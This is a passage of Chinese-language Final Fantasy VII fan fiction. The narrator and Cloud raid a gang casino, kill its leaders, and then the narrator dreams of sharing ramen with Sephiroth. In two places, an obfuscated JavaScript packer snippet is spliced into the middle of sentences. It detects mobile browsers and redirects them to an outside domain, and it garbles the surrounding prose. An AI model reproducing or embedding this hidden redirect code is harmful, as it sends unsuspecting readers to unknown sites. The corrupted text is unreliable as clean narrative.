区域的方向,成功地将一部分守卫的注意力也吸引到了那边。 “胡说八道什么!”那个小头目显然不信,伸手就要去抓扎克斯的胳膊,“我看你是活腻了!来人!把他给我扔——” 就在大部分守卫的注意力都被扎克斯吸引过去的时候,另一边的赌场入口处,一个穿着普通夹克、戴着兜帽的身影,如同鬼魅般悄无声息地滑入了人群。 克劳德利用吧台和赌桌作为掩护,动作敏捷而迅速地穿梭在人群缝隙中。他的步伐很轻,几乎没有发出任何声音,兜帽压得很低,遮住了大半张脸,完美地融入了赌场喧闹而混乱的环境。 他没有急于深入,而是选择了一个靠近墙壁、相对不那么引人注意的角落停了下来,青色的眼眸观察着大厅的局势,尤其是守卫的分布情况。 克劳德的目标是通往二楼或者更内部区域的通道,那里更有可能是“铁爪帮”核心成员的所在地。 他注意到大厅侧面有一个不太起眼的楼梯口,只有一名守卫懒洋洋地靠在墙边抽烟。 机会。 克劳德身体压低,沿着墙根快速移动。他经过一张正在进行激烈牌局的赌桌时,顺手拿起桌角一枚被人遗落的、面值不大的筹码,手指一弹,筹码带着轻微的破空声,精准地击中了远处一个老虎机的投币口。 正中红心。 “叮叮叮——!” 老虎机突然爆发出刺耳的音乐和大量代币落下的声音,瞬间吸引了附近几个赌客和那个抽烟守卫的注意。 “哇!中大奖了!” “谁运气这么好?” 就在守卫扭头看向老虎机方向的一刹那,克劳德的身影如同闪电般掠过楼梯口,消失在向上的黑暗中。 这一切发生得极快,几乎无人察觉。 同时,我从通风管道内翻身而下。 那两个守在最气派包间门口的壮汉似乎察觉到了什么,猛地转过头来。 “唔!” “呃啊!” 两声短促的闷哼几乎同时响起,然后便是重物倒地的声音。我甚至懒得去看他们倒下的样子,直接抬脚,一脚踹开了那扇沉重的、装饰着金色浮雕的大门。 “砰!” 巨大的踹门声在相对安静的 VIP 区域显得格外响亮。 门内的景象映入眼帘—— 奢华的房间,巨大的办公桌,雪茄烟雾缭绕。一个穿着花哨丝绸衬衫、挺着啤酒肚、戴着金链子的胖男人正搂着两个衣着暴露的女人,惊愕地抬起头。 办公桌对面,还站着几个穿着黑西装、反正脸在我的目标名单上的家伙,此刻也是一脸震惊地看向门口。 “你、你他妈是谁?!” 那个胖男人最先反应过来,惊怒交加地吼道,同时伸手去摸桌子下的什么东西。 我没理会他的问题,径直走进房间,反手将门关上,隔绝了外面的喧嚣。 刀尖拖在厚厚的地毯上,发出轻微的摩擦声。 我歪了歪头,打量着房间里的这几个人。 “我是第六区贫民窟雇佣的‘万能工’。” “谁……?哪个帮派?你——” “民众雇佣的。” 我念出了克劳德和扎克斯之前讨论出的台词。 “……” 空气中安静了一瞬。 那胖男人先是愣了愣,然后,像是听到了什么荒谬绝伦的笑话,因为惊愕而松开了搂着女人的手,肥硕的脸上横肉抽搐着,他猛地从桌子下抽出一把造型夸张、镶着金边的手枪,枪口因为主人的紧张而微微颤抖,对准了我。 “放你娘的狗屁!”他唾沫横飞地怒吼道,声音因为愤怒和一丝不易察觉的恐惧而显得有些尖利,“第六区什么时候轮到什么狗屁‘民众’说了算了?这里是老子‘铁爪’巴顿的地盘!” 真可惜,如果不是我的(准)小弟们不允许,这里就会是我的地盘了。 莹绿的光点在我手心快速凝聚,带着黑色的刀柄。 拔刀,收刀。 霎时,房间内的几人血溅当场。 猩红的液体从切口平整的脖颈处喷涌而出。 头颅落地。 那两个女人相安无事,她们并不在克劳德给我我的名单上。她们的身体因为剧烈的恐惧而颤抖着,白皙的肌肤与血渍混合在一起。 我擦了擦面罩上粘到的血,将一张纸条丢到了桌子正中央,上面是我们工作的邮箱号,随口对她们打广告。 “可以考虑我们第五区的万能工哦美女,给钱什么都干。” 40. 第37章 刀在手中化为莹绿色的光点,然后消散。 我打完广告后,推出门走了出去。 很好,我运气比较好,直接找到了目标上要除掉的几个人——克劳德人呢? 他刚才说要从正门或者侧门进来,然后找路去二楼或者更里面的地方。这赌场看起来还挺大的,弯弯绕绕的,也不知道他有没有迷路。 我顺着走廊往前走,一边走一边东张西望。 这里的包间门都长得差不多,厚重的木门,黄铜把手,门上还钉着号码牌。偶尔有侍者端着托盘从旁边匆匆走过,看到我时会投来好奇或带点畏惧的目光,但没人敢上前来盘问。 大概是被我刚才踹门的动静吓到了,或者只是单纯地不想惹麻烦。 普通人只是单纯来打工的,几千Gil的工资,玩什么命啊。 “……” 那个应该是克劳德。 哈,这只陆行鸟,走到哪里都能招惹些奇奇怪怪的东西。 “金发小哥,来喝点酒啊。” “……没兴趣,请放开我。” 我站在走廊的阴影里,双臂环胸,看着不远处那一幕。 金碧辉煌的走廊壁灯将那女人的金色卷发照得闪闪发光,她穿着一身紧身的红色亮片裙,领口开得很低,露出大片白皙的肌肤。 对方整个人几乎都挂在了克劳德身上,一只手勾着他的脖子,另一只手端着一杯颜色诡异的鸡尾酒,正试图往他嘴里送。 “来嘛,金发小哥,别这么害羞啊,”女人的声音娇软,手指还在克劳德的耳垂上轻轻打转,“就喝一口嘛,这可是我们‘金库’特调的‘烈焰红唇’,保证你喝了就忘不了。” 克劳德的身体明显很僵硬,他微微侧着头,试图避开女人凑过来的脸和那杯散发着甜腻酒精味的液体。兜帽下的眉头紧锁着,脸上写满了抗拒。 “我对酒精没兴趣,”他的声音又冷又硬 ,“麻烦你让开,我有事。”他伸出手,试图推开女人缠在他脖子上的手臂,但那女人像八爪鱼一样缠得更紧了。 “有事?现在能有什么事比陪我喝酒更重要呢?”女人咯咯地笑了起来,丰满的胸脯有意无意地蹭着克劳德的手臂,“我看你一个人在这里晃悠,是不是迷路了?还是说,在等什么人?” 她另一只空着的手开始不规矩地顺着克劳德的腰线往下滑。 “别担心,姐姐我在这里熟得很,你想去哪儿,想找谁,我都可以帮你哦。不过嘛…”她凑到克劳德耳边,吐气如兰,“你得先陪我喝一杯,或者…做点别的有意思的事情?” 我往前走了几步,站了出来。 女人僵住了。 是的,我知道我现在半身的血,一身漆黑戴着面罩,像是个杀人犯(事实如此)。 果然,那个原本像藤蔓一样缠在克劳德身上的红裙女人松开了手。 她脸上的笑瞬间凝固,涂着鲜红蔻丹的手指还停留在克劳德的耳垂附近,身体却像是被施了定身咒一般,一动不动。 那双精心描画过眼线的眼睛瞪得溜圆,瞳孔因为惊恐而急剧收缩,直勾勾地盯着我,或者更准确地说,是盯着我身上那大片的暗红色。 浓郁的香水味也掩盖不了她瞬间变得惨白的脸色,嘴唇微微颤抖着,似乎想说什么,却一个字也发不出来,只有喉咙里发出几声细微的、类似抽气的声音。她勾着克劳德脖子的手臂也下意识地松开了些许力道。 “……” 看来赌场艳遇的剧本轮不到我了。 克劳德察觉到她的松动,立刻趁机不动声色地后退了半步,终于从那令人窒息的香水味和女人的纠缠中挣脱出来。他抬眼看向我,兜帽的阴影下,那双青色的眸子闪过一丝不易察觉的…呃,好像是松了口气。 我直接把这只陆行鸟拽走了,至于灭口——扎克斯的要求是只除掉必要的人,而且名声越大对我们越好。 “克劳德,你最好找到了有价值的东西。” 我去杀人,你别告诉我你什么都没做。 “……我找到了他们的保险库,已经搜刮完了,正准备找你。” “多少Gil?” “……这里的钱都是不干净的,不能带走,我们不是来抢劫的。” ? 我正要变脸,克劳德就从口袋里掏出了一颗魔晶石。 色泽和光亮一看就不是凡品,一看就值个几千Gil。 “嗯,对,我们不是来抢劫的,这种魔晶石留在黑|帮手里太危险了。” 我附和着他的话,立马换了语气,赞赏的拍了拍他的肩膀,接着开心的往前走。 拿到我的那份我要怎么处理好呢……先把最新的漫画买了。嗯,原著也挺想买来收藏的…… 走廊内是我们浅浅的脚步声。 “…刚才谢谢了。” 走了几步,克劳德低声说了一句,打破寂静。 “谢我什么?”我头也不回,“谢我没让她继续摸你屁股?” “……” 克劳德沉默了,脚步加快了几分,似乎想超过我。 “喂!陆行鸟你走那么快干嘛?”我几步就追上了他,与他并肩而行,“难道是被我说中了,刚才真的差点被摸屁股?” 克劳德猛地停下脚步,转过头瞪了我一眼。兜帽的阴影也遮不住他此刻有些恼怒的表情。 “我没有!你别胡说!” 他的声音比平时提高了一些。 “哦,你耳朵好红。” 我好奇的打量他,感到惊奇。 原来被摸屁股脸和耳朵都会红啊!真有趣。 “那是灯光的原因!”克劳德立刻反驳,然后像是为了证明什么似的,又加快了脚步,试图再次拉开距离,“我们该走了,扎克斯还在外面等着。” “走走走,急什么,”我跟上他的步伐,伸手拍了拍他鼓囊囊的口袋,那里装着他从保险库搜刮来的东西,“让我看看你还拿了什么好东西?除了那个亮闪闪的魔晶石,肯定还有别的吧?” 克劳德侧身躲开我的手,护住自己的口袋,眉头皱了起来。 “说了,我们不是来抢劫的。只拿了这颗魔晶石,其他的…都是些没用的文件和一点现金。” “现金也没用?”我表示怀疑,“现金可以买好吃的啊!比如烤肉!很多很多的烤肉!” “那些钱来路不正,”克劳德的声音又恢复了平稳,他一边走一边观察着四周,寻找离开的路线,“我们‘万能帮手’,还是要有点原则。” “原则能当饭吃吗?”我不以为然地撇撇嘴,“下次找到保险库,记得叫上我,我帮你‘处理’那些‘没用的’现金。” 克劳德没接我的话,他停在一个岔路口,指了指左边稍微偏僻些的通道。 “这边,应该是通往后厨或者员工通道的,从那里离开不容易被发现。” “哦,行吧,听你的,队长大人。” 我拉长了语调,跟在他身后拐进了那条相对安静的通道。 这条通道明显没有外面走廊那么光鲜亮丽,墙壁是简单的白色涂料,有些地方已经发黄剥落,空气中弥漫着一股油烟和消毒水混合的气味。头顶的灯光也黯淡许多。 走了没几步,前面传来了嘈杂的人声和锅碗瓢盆碰撞的声音,看来确实是后厨的方向。 “我们从这里穿过去,”克劳德压低声音说道,同时拉了拉自己的兜帽,“尽量别引起注意。” 他率先走在前面,身体微微压低,脚步放得很轻。我跟在他后面,好奇地打量着这个与赌场奢华前厅截然不同的地方。 几个穿着白色厨师服、戴着高帽的厨师正在灶台前忙碌着,热气蒸腾,香味四溢。还有一些穿着制服的服务生端着空盘子匆匆走过。 “嗯,闻起来还不错,”我吸了吸鼻子,闻到了烤肉和某种奶油浓汤的香味,“不知道他们员工餐怎么样?要不要顺便打包点带走?” “别节外生枝。” 克劳德回头瞪了我一眼,用口型无声地说话,然后拉着我快速穿过繁忙的后厨区域。 幸运的是,后厨的人似乎都忙着自己的事情,并没有特别留意我们这两个穿着便服、行色匆匆的“闯入者”。 穿过后厨,是一条更长的、通往后门的走廊。走廊尽头的光线越来越亮,隐约能听到外面街道的嘈杂声。 “快到了。” 克劳德低声说了一句,脚步更快了些。 就在我们快要走到后门之时,旁边储物间的门突然被人从里面猛地推开。 一个穿着赌场保安制服的男人踉踉跄跄地冲了出来,他的脸上带着惊慌失措的表情,额头上还有一个清晰的红印,像是被什么东西砸过。 大概是克劳德之前的手笔。 “不好了!老大他们…老大他们出事了!”他一边跑一边惊慌地大喊着,声音在走廊里回荡,“快!快去VIP那边!有、有入侵者!” 他喊着,直接朝着我们这边冲了过来,似乎是想跑去前厅通风报信。 克劳德反应极快,在我准备直接一脚把他踹回去之前,他猛地将我往旁边一拉,同时自己侧身撞向那个冲过来的保安。 “呃啊!” 保安被克劳德精准地一记肩撞,撞得眼冒金星,闷哼一声,身体失去平衡,朝着墙壁摔了过去。接着后脑勺磕在墙上,发出一声闷响,然后软软地滑倒在地,晕了过去。 “……” 我看着倒在地上的保安,又看看克劳德,“反应挺快嘛,陆行鸟。” 克劳德没理会我的称呼,他俯身快速检查了一下那个保安,确认只是晕过去之后,才站起身。 “走,别管他。”他反手拽起我的胳膊,直接推开了前面的后门。 一股带着凉意的夜风混合着下层区特有的复杂气味扑面而来。 我们重新回到了赌场外那条脏乱的小巷。 外面似乎比我们进去前更加混乱了,远处还能听到扎克斯那中气十足的“悲伤”嚎叫,夹杂着守卫的呵斥声和人群的议论声。 “看来扎克斯演得很成功。”克劳德看着远处正门方向的骚动,低声评论了一句。 “还行吧,就是有点吵。”我揉了揉耳朵,“我们去哪里等他?” “约定的汇合点在三个街区外那个废弃的喷泉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479183|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 广场。”克劳德说着,他松开了抓住我的手,带头朝着小巷的另一端走去,“走吧,尽快离开这里。” 我们快速地穿梭在米德加下层迷宫般的小巷中,赌场那刺眼的霓虹灯光和喧嚣声渐渐被抛在身后。 我一边又开始思考要不要收藏原著小说,一边又想着要不要买点周边——突然撞到了站在原地不走的克劳德。 “……?” “呃……!” 他一边捂着头,勉强回过头看了我一眼,然后半靠在旁边的墙壁上,兜帽滑落,那头倔强的金发此刻有些凌乱。 他没事吧? 口袋里还有我的魔晶石呢! 我立马过去扶住他,正准备把我们的战利品从现在不大稳定的他的口袋里掏出来,克劳德就攥住了我的手。 他不再依靠墙壁,反而好似是某种本能的,把我视作了极其信任,可以依赖的人,将身体的大半重量压在我身上。 对我来说不重。 但是好热。 扑通,扑通。 他的心跳好快。 男人的身躯稍稍战栗着。 “别、别碰…” 他的声音有些不稳,呼吸也变得急促起来,额头上渗出了细密的冷汗,几缕金色的发丝被汗水打湿,黏在苍白的额角。 ……克劳德怎么突发恶疾了? 还有,我不碰,你放开我的手好不好? 他抓的好紧,至于吗?我是自己人,又不是偷魔晶石的。 “放,放开…” 他呢喃着,但抓住我的手却丝毫没有松开的意思,反而因为身体的颤抖而攥得更紧了,“头,头很痛…吵…” “吵?” 我环顾四周,这条后巷除了远处隐约传来的赌场喧嚣,安静得很。 等等…… 糟了,我有种不祥的预感。 “……” 他没有说话了,只是完全靠在我身上,身体微微颤抖,那一头金毛蹭得我好痒,我被迫把面罩摘了下来。 不会吧,我感觉到了那种…… 要来了。 果然。 我也开始头痛了。 说实话,这个症状我十分熟悉,我刚醒的时候就痛了整整两天,同时还伴随全损音效。 一般是左耳有很多人在说话,清晰又混乱,像是米德加清晨的菜市场,不过每句话我都听得清清楚楚,整一个精神污染。 右耳是好像有什么莫名其妙的东西在念叨着好几个音节,不似人,与左边完全不同,全都跟打码了一样听不清。但是声音又大,好像是在竞争似的不相上下。 不过我已经完全习惯这种左右脑互搏的感觉。 在原地站了一会,我感觉到克劳德的颤抖慢慢停下,他的呼吸逐渐趋于平稳。 不过我的脑子没有放过我。 左: “这个额……我第一次工作,有些事情不大明白……” “对不起!钱我下次一定会还的,请放过我!” “杰克,今晚要留下来吗?” “请问我能为你做些什么?要点餐吗?” 右: “▇▇▇” “▇▇▇” “▇▇” “▇▇” “▇▇” 真好啊。 “呼……” 我深吸了一口气,稳定一下自己的精神状态,接着第一时间确定了魔晶石的安危。 嗯,克劳德好像晕厥在我身上了。 他软绵绵地挂在我身前,脑袋无力地垂着,金色的发丝蹭得我脖子痒痒的,有些甚至不听话的撩过我的下巴。 身上是一股浅浅的汗味,还有我们一起共用的洗衣粉的味道,跟我身上未散去的血腥混着在一起。 呼吸虽然平稳了些,但依旧能感觉到他之前急促心跳留下的余韵。 啧,真麻烦。 我单手调整了一下姿势,伸出手揽住他的背,把他更稳地扛在肩上,像扛一袋不怎么听话的土豆。 “……” 对了,是要去废弃喷泉广场吧? 我感觉我们的状态,出巷子都够呛,我都感觉我要从中间裂开了,这合理吗? 此时,一只银色的猫从屋檐下突然跃下,落在我们身前,挡住了我的前路。 它的动作轻盈得不可思议,落地甚至没有发出一丝声响。 透过克劳德的发丝,我看到了那只猫的瞳孔,它直勾勾的望着我,身后的尾巴正大幅度的左右晃着。 两双魔晄色的眸子对视。 —— “无论你变成什么样,我都能找到你。” “那我也能找到你。” —— “让开。” 我开口说道,声音因为扛着人而有点闷。 猫没有动,只是尾巴甩得更厉害了。 就在这时,一个名字毫无预兆地、仿佛不受控制般地从我嘴里冒了出来: “萨菲罗斯。” 陌生的字节。 猫没有动,但它的尾巴不再晃动了。 尾尖稍稍往上。 41. 第38章 我一开始一直认为人的本质是记忆。 在几本轻小说里,如果主角没有失忆的来到了新世界/重生,只是有了新的身躯,那就视为“转生”。 主角依然是主角,他的故事还在继续。 但这几天,我把《系统之我在米德加开诊所》这本漫画看完了。 主角后面为了一统星际,用系统克隆出了很多一摸一样的自己。 拥有一样的记忆,一样的能力,一样的样貌。 难道那些也是主角吗? 朦朦胧胧的,我感觉记忆可能不是一个人的全部。 每个人,应该都有自己独特的,与其他生命不一样的东西。 —— 萨菲罗斯是哪根葱? 为什么我失忆了还能叫出来? 克劳德好像提起过……嘶,我只记得几个关键词了。 “人尽皆知” “我不可能不知道” 所以,萨菲罗斯是某种零食品牌吗? 它好吃吗? 听起来应该不是薯片或者糖,还是说是巧克力?或者果干?倒有点像某种…某种高级调味料? 糟糕,我脑内的大合唱还没停呢,又走神了。 视野聚焦的刹那——那只猫不见踪影。 但全损音效消失,头也不疼了。 真是医学奇迹。 不过当务之急是把这只沉甸甸的陆行鸟运到那个什么废弃喷泉广场,和另一个精力过剩的家伙汇合。 我重新调整了一下姿势,将克劳德的身体更稳地固定在肩上。这家伙看起来不算特别壮实,但真扛起来还是有点分量的,主要是他不配合,软绵绵的挂着,重心不稳。 “啧,真麻烦。” 我再次抱怨道,迈开脚步,朝着小巷的出口走去。 昏暗的巷道在我身后迅速远去,赌场方向的喧嚣也逐渐被其他更符合下层区气质的噪音所取代——远处工厂运作的低沉轰鸣,管道滴水的滴答声,以及不知名小巷深处传来的隐约争吵。 扛着一个人在下层区的小巷里穿梭并不是什么稀奇事,甚至可以说是相当常见的景象。路过的几个行人只是漠然地瞥了我们一眼,便匆匆低头走开,没有人多管闲事。 这倒是省了不少麻烦。 废弃喷泉广场……在哪来着?往左还是往右? “……前辈!克劳德!” 身后猛地传出一阵呼喊,是扎克斯毛毛躁躁的声音,我还没回头,他就扑了过来。 浓郁的血腥味。 紧接着,扎克斯那张放大的、写满了焦急的脸就出现在我眼前,他像只找到主人的大型犬,不由分说地抓住我没扛着克劳德的那只手,力道大得惊人。 他喘着粗气,“你们跑哪里去了啊!我演完戏就去找你们,结果赌场里的人都说没看见!有个金发的女士倒是看到你了,说你往后门那边去了,但我找过去人已经不见了!” 扎克斯上下打量着我,又焦急地看向我肩上昏迷不醒的克劳德,脸上的担忧都快溢出来了,“克劳德这是怎么了?!受伤了吗?!刚才还好好的啊!还有前辈你,你没事吧?!” 他一边说,一边试图把我从头到脚检查一遍,那只抓着我胳膊的手也收紧了些。他身上那件黑色的便服沾了不少灰尘,还有几处明显的暗红色污渍,显然刚刚经历过一番折腾。 “喂!你先松手!”我皱起眉头,感觉胳膊快要被他捏断了,“吵死了!你身上这味儿哪来的?” 我挣了一下,没挣开。 他的力气真的很大,而且情绪激动的时候根本控制不好力道。 “啊!这个啊!”扎克斯这才注意到自己的失态,稍微松了点力气,但还是没完全放开,他笑了两声,挠了挠后脑勺,语气有些不好意思,安心了些,“刚才演戏演得太投入了,有几个不开眼的守卫非要拦着我撤退,我就稍微‘劝说’了他们一下!” 扎克斯比划了一个用拳头“讲道理”的动作,“放心啦前辈,都是他们自己的血!我一点事都没有!解决完他们我就赶紧去找你们了!” “所以克劳德到底怎么了?脸色好差啊!是刚才在赌场里遇到埋伏了吗?还是中了什么奇怪的招数?” 他探出手,想去摸克劳德的额头,确认体温。 “他没事,”我简短地回答,侧身避开了扎克斯的手,免得他把我好不容易扛起的克劳德弄下来,“就是突然头疼,晕过去了。可能是刚才在赌场里转晕了。” 我随口编了个理由,懒得解释那奇怪的现象。 “头疼晕过去了?”扎克斯显然不信这个敷衍的解释,他皱紧眉头,“怎么会突然头疼?是不是那个破赌场空气太差了?还是说,真的被人暗算了?” “克劳德,克劳德你醒醒啊!”他凑近克劳德的脸,轻轻拍了拍他的脸颊,试图唤醒他,“感觉怎么样?能听见我说话吗?” 克劳德依旧毫无反应,软绵绵地挂在我肩上,只有微弱的呼吸起伏证明他还活着。 “前辈,让我来背克劳德吧!”扎克斯见唤不醒克劳德,立刻主动请缨,“你一个人扛着他太累了!我来!我体力好!” 他说着,就想伸手来接克劳德的身体。 “不用,”我再次拒绝,往后退了一步,“他又不重,我扛得动。你别在这里碍手碍脚的,赶紧带路回家。” 扎克斯哦了一声,走到前面带路,只是他每迈三步都要回头看我一眼。 返回了那个狭窄又熟悉的出租屋,一进门,雪球就来蹭我的腿。 “雪球乖,外面危险,先待在这里哈。”扎克斯哄着猫,俯身将它抱走,眼睛却一直没离开我和我肩上的人。 我没理会他们,走到那张吱呀作响的旧沙发旁,手臂一松,就把肩上软绵绵的克劳德甩了上去。 “咚”的一声闷响,沙发弹了两下。 这家伙即便是晕过去了,抓着我手腕的那只手依旧死紧,像焊在了上面一样,根本甩不脱。 “……” 一坐在沙发上,那种自我从绿色罐子里爬出来就从未出现过的感觉席卷我的脑海。 我居然有点困了。 明明我不需要睡觉的啊…… “……” “唔……我睡一下。” “前、前辈?!” 扎克斯的声音带着明显的惊慌,他眼睁睁看着我毫无预兆地倒向沙发,最后一个音节甚至带上了颤音。 他下意识地想伸手扶我,但又顾忌着昏迷的克劳德和我之间那点微妙的距离,动作僵在了半空中。 没等扎克斯回答,我就倒在沙发上,印象最后是扎克斯那双焦急的浅青色眸子。 “▇▇” “▇▇” “……” 那抹模糊的音节逐渐清晰。 原来,一直在呼唤着我的名字。 睁开眼,我发现自己在他的宿舍里坐着。 对面是萨菲罗斯,桌子上摆着一碗打包好的拉面。 哦,对了,我特意给他带的。 我敲了敲桌面。 “你不吃吗?” 银发男人没有回答,他慢条斯理的将两双一次性筷子拆开,然后递给我一副。 我没接过,而是打开了拉面的塑料盖子。 热气腾腾的拉面散发出浓郁的豚骨汤香味,混合着叉烧的肉香和麻油的特殊气味,在萨菲罗斯那一尘不染、甚至可以说有点过分整洁的宿舍里显得有些格格不入。 嗯,看来这家店还是很不错的,打包的量也和堂食一样。 “我给你打包的,第一口当然要给你吃啦。” “嗯,”萨菲罗斯发出一个低沉的鼻音,算是回应。他终于拿起筷子,夹起一片肥瘦相间的叉烧,动作依旧优雅地送入口中。 他咀嚼得很慢,似乎在仔细品味,又像是在思考着什么。 “怎么样怎么样?”我迫不及待地追问,期待着他的评价,“是不是比神罗食堂那些合成肉好吃多了?” 萨菲罗斯咽下口中的食物,用餐巾轻轻擦拭了一下嘴角——即使是吃一碗打包拉面,他的动作也无可挑剔。 “味道不错,”他给出评价,语气依旧听不出太多波澜,“汤头很浓郁,叉烧…确实比食堂的好。” 他顿了顿,又夹起一块笋干,递到我嘴边。 “张嘴。” 我下意识地张嘴接住,脆脆的笋干带着肉汤的咸香,味道确实不错。 “你也觉得好吃吧!”我得意地扬起下巴,“下次我再发现什么好吃的,还带给你!” 萨菲罗斯看着我这副样子,嘴角浅浅的弯了弯。 “好,”他应道。 在萨菲罗斯吃面的时候,我凝视着他拉面顶上的那颗糖心蛋。 我不是想吃,只是觉得它很好看。 没错。 他瞥了我一眼,然后夹起那颗溏心蛋,精准地用筷子分成两半,将带着诱人流心的一半放到了盖子上,推到我面前, “吃吧。” 看吧,是萨菲罗斯自己给我的。 “好耶!”我开心地夹起那半个溏心蛋,一口塞进嘴里,蛋黄浓郁的香气在口中爆开。 吃完蛋,我的盖子上又多了一块肉,然后是一团面条。 我埋头吃着,接着发现有什么不对劲。 他怎么一直在给我吃? 我停下筷子,嘴里还嚼着他刚刚夹过来的那块叉烧,含糊不清地开口:“喂,萨菲罗斯,你怎么光给我夹?你自己不饿吗?这面都要被我一个人吃光了!” 他暂时没有回答,放下筷子,拿起旁边的水杯,轻轻啜饮了一口。 “我不饿。” 萨菲罗斯放下水杯,声音平稳,听不出什么情绪,“而且,看着你吃,感觉更好。” “哈?”我觉得他这话有点奇怪,“看着我吃有什么好的?难道还能增加你的饱腹感?” 我拿起筷子,也学着他的样子夹起一片叉烧,迅速伸到他嘴边,命令道:“张嘴!” 萨菲罗斯的目光落在伸到他唇边的叉烧上,他的眸子里闪过了什么。 “就吃一口嘛!”我催促道,保持着喂食的姿势,手腕有点酸了,“难道这叉烧有毒不成?还是你嫌弃我的筷子?” 他没回答我后面那个问题,只是缓缓地,几乎是顺从地微微向前倾身,薄唇微启,轻轻含住了那片叉烧。 “哼哼,好吃吧?”我收回筷子,得意洋洋地问。 “嗯,”萨菲罗斯咽下食物,再次用餐巾擦了擦嘴角,这个动作一丝不苟,“你喂的,味道更好。” “那是当然!”我毫不客气地接受了他的恭维。 我们继续吃着,时不时的,我会跟萨菲罗斯说起今天我和克劳德一起把喝醉的扎克斯搬上去的事,特地强调了他喝醉后歪歪扭扭的倒在我背后的糟糕模样。 萨菲罗斯安静的听着。 “我跟你说啊,当时克劳德就这样背着他——他力气居然不小,那只陆行鸟看起来明明没什么肌肉。” 我比了个抗麻袋的动作,手臂晃了晃,极力模拟出当时的场景。 “但是他一点技巧都不明白,扎克斯就要头着地了,得亏我过去扶住他。我没有拍照,扎克斯喝醉时的表情真的特好笑,不行,我想起来了——” 在我发出笑声时,萨菲罗斯忽然伸出手,轻轻的放在我的头顶。 动作很轻柔,带着一种小心翼翼的意味,指尖穿过我有些凌乱的银发,带来一阵细微的、令人舒适的麻痒感。 我的笑声戛然而止,下意识地抬起头,看向他。 “干嘛摸我头,跟摸宠物一样。” 我向来讨厌别人摸我的脑袋,尤其是长得比我高(强调)的萨菲罗斯。 他从小就不知悔改。 “不是宠物,不过……很像猫。” “猫?”我重复了一遍这个词,歪着头看他,不是很明白,“哪里像了?我又没有尾巴,也不会抓老鼠。” 我才不像猫。 真要用动物比喻,我觉得我应该更像老虎……或者龙这类比较帅的生物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479184|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “萨菲罗斯,你才是猫。” 听到我的反驳,萨菲罗斯放在我头顶的手并没有立刻拿开。 过了一会,他才缓缓开口,声音一如既往地平稳低沉,带着一种独特的磁性:“哦?为什么这么说。” 因为他动作轻巧,眼神锐利,还总喜欢待在高处。 走路没声音,总是很骄傲,发型也很像,眼睛像是猫科动物的眼睛。 爱干净,大多时候都一个人呆在一起,会突然而然的出现,做什么事情都很优雅。 只会跟熟悉的人亲近,领地意识强,喜欢抓我的后领,就像大猫叼小猫。 好多好多理由闪过我的脑海。 但是出口的话,我自己都感觉陌生。 “因为我今天看到你变成猫了,很适合你。” —— 我醒了。 与克劳德那双勉强掩住慌忙和窘迫的眸子对上了视线,他注意到我清醒后,第一时间偏过了头。 外面已经天亮了,配合着出租屋内不算弱的灯光,能够清晰的见到他那泛着粉红的脖颈,随着他转头的动作,通红的耳朵从那头金毛中露了出来。 哦,我趴在他身上。 他这是什么表情,我又没有摸他屁股,是他自己昨天一直抓着我。 “早啊,陆行鸟。” 我懒洋洋地打了个招呼,甚至还打了个哈欠,手臂撑着沙发坐起身。 嗯,睡得还行,虽然这沙发硬了点。 克劳德抓着我手腕的那只手,在我起身的瞬间终于松开了,像是触电一般猛地缩了回去。 终于放开我了。 对面,他已经坐直了身体,金色的脑袋低垂着,看不清表情,但那从发丝间显露出来的、红得快要滴血的耳朵,以及紧抿的嘴唇,充分说明了他此刻的心情。 “怎么了陆行鸟,”我好整以暇地盘腿坐在沙发上,饶有兴致地看着他,“不就是一起睡了一觉嘛,你紧张什么?” 克劳德猛地抬起头,湛蓝的眼睛对上我的视线,很快又像被烫到一样移开了。“我没有紧张!”他反驳道,声音却不自觉地放大,带着点底气不足的虚张声势,“只是,只是不太习惯和别人…靠得这么近。” 他一边说着,一边不自然地整理着自己有些凌乱的衣领,手指都有些僵硬。 “而且,是你先倒下来的。” 克劳德小声补充了一句,好像这样就能撇清自己的责任。 “你昨晚抓着我的手不放,我不睡沙发我睡地上吗?” 我模仿着他昨晚的样子,伸出手虚抓了一下:“嘴里还一直喊着别碰别碰的,结果自己抓得紧紧的,跟怕我消失似的。” “我……!” 克劳德的脸现在像是能煮鸡蛋。 给我看饿了。 他张了张嘴,似乎想辩解什么,但最终只是有些懊恼地别过头。 “我昨天头很痛,不记得了。” “不记得就算了,”我无所谓地耸耸肩,从沙发上跳下来,活动了一下手脚,“肚子饿了,有什么吃的吗?” 就在这时,卧室的门“吱呀”一声被推开了。 扎克斯顶着一头乱糟糟的黑发,睡眼惺忪地走了出来,身上的便服换了一件。他打了个大大的哈欠,揉着眼睛嘟囔道:“嗯?前辈?克劳德?你们醒这么早啊……” 他话说到一半,视线在我们两人之间来回扫了一圈,注意到了沙发上明显被睡过的痕迹,以及克劳德那不太自然的脸色和我站立的位置。 扎克斯脸上的困倦瞬间消失得无影无踪,那双浅青色的眸子倏地睁大了,里面飞快地闪过一丝惊讶、疑惑,还有某种更复杂的情绪。 “前、前辈!你昨晚…就睡在沙发上吗?”他快步走过来,语气里带着显而易见的关心,声音却比平时稍微紧绷了一些,“沙发那么硬,怎么能睡好呢!都怪我,应该把床让给你睡的!” 他一边说着,一边很自然地站到了我和克劳德中间。 